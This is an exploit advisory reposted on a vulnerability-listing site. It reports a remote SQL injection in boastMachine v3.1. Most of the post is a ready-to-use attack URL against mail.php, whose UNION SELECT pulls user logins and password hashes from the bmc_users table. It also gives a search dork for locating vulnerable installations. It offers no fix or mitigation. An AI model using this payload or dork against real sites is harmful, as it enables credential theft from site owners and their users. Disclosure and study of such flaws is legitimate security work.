Security Advisory: boastMachine v3.1 Remote Sql Injection

[EN] securityvulns.ru
no-pyccku

Related information
  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
  Cross-Site Scripting vulnerabilities in Webglimpse
  Social Engine 2.7 CRLF Injection + SQL injection
  vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm

From: r3d.w0rm_(at)_yahoo.com <r3d.w0rm_(at)_yahoo.com>
Date: 21.11.2008
Subject: boastMachine v3.1 Remote Sql Injection

#################################################################################
####
####                    boastMachine v3.1 Remote Sql Injection                   ####
#################################################################################
####
#
#
#AUTHOR : R3d.W0rm (Sina Yazdanmehr)                                                #
#Discovered by : R3d.W0rm (Sina Yazdanmehr)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi       #
#################################################################################
####
#
#
#Download : www.boastology.com                                                      #
#
#
#DORK : Powered by boastMachine v3.1                                                #
#
#
#################################################################################
####
#                                       [Bug]                                       #
#
#
#http://Site/[path]/mail.php?action=R3d.W0rm&blog=1&id=-
99999'+union+select+0,1,concat_ws(0x7c,user_login,user_pass),
3+from+bmc_users/*
#
#
#################################################################################
####
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

test server